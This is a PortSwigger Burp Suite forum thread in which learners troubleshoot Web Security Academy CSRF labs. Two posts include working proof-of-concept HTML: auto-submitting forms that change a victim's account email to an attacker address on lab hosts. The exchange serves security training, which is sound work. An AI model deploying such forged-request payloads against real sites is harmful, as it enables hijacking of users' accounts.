Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

CSRF Labs Broken?

Arlyn | Last updated: Jan 09, 2023 04:53PM UTC

Hi, Is it possible the CSRF labs are broken? I have attempted the following: - https://portswigger.net/web-security/csrf/lab-no-defenses - https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-request-method Despite being able to execute it perfectly to myself, when delivering it via the exploit server, I do not get the pop up saying I have passed the lab. I have also checked the solution and followed it exactly as shown and still cannot get the lab to show as completed.

Arlyn | Last updated: Jan 09, 2023 05:10PM UTC

Sorry please ignore this, my fault- it is working fine

adotvoid | Last updated: Jan 28, 2023 03:04PM UTC

Hi Arlyn. Can you let me know what your issue was. I can't seem to get any of the CSRF labs working either. Thanks in advance!

Michelle, PortSwigger Agent | Last updated: Jan 30, 2023 10:46AM UTC

Hi If you're having issues with the CSRF labs, have you tried following along with some of the Community videos?

Kavitha | Last updated: May 15, 2023 09:08PM UTC

I am facing issues with CSRF labs and I am doing it with the community version by pasting the script mentioned in the solution on the exploit server. I copied the link from burp suite and replaced it in the script. It displays 302 error in the logs.

Michelle, PortSwigger Agent | Last updated: May 16, 2023 07:31AM UTC

Hi Which of the CSRF labs are you currently working on?

pi141592 | Last updated: Mar 26, 2024 12:41PM UTC

1. Don't use url encoding in the attacker's email address of your html (use attacker@example.com instead of attacker%40example.com) 2. The email address must not used before in this lab Example: <form method="POST" action="https://0a3b009b0343732180b9dab9008c00c7.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="attacker@example.com"> </form> <script> document.forms[0].submit(); </script>

Tyla | Last updated: Jul 26, 2024 06:48PM UTC

thank you!!! the above code worked for me the solution for the lab was lacking the method="POST" , lab solved when i added that as mentioned above!

rishal | Last updated: Oct 17, 2024 01:44PM UTC

same issues in csrf lab i have completed the task but not shown completed in lab please do help ASAP!!

Michelle, PortSwigger Agent | Last updated: Oct 17, 2024 02:34PM UTC

Can you confirm the name of the lab you are working on and share details of the payload you are using on the exploit server, please?

Deep4 | Last updated: Oct 18, 2024 11:37PM UTC

I am doing the lab "Lab: CSRF where token validation depends on request method" and my html is <html> <body> <form action="https://0aa1004c0371784b80228f8d00170057.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="pwned@evil-user.net" /> <input type="hidden" name="csrf" value="iptZxfd0Fl4k3mNO9izNXIKdUohKKRCz" /> </form> <script> document.forms[0].submit(); </script> </body> </html> works when I run it myself but I cant get it to take it as a valid submission to complete the lab.

Ben, PortSwigger Agent | Last updated: Oct 21, 2024 10:36AM UTC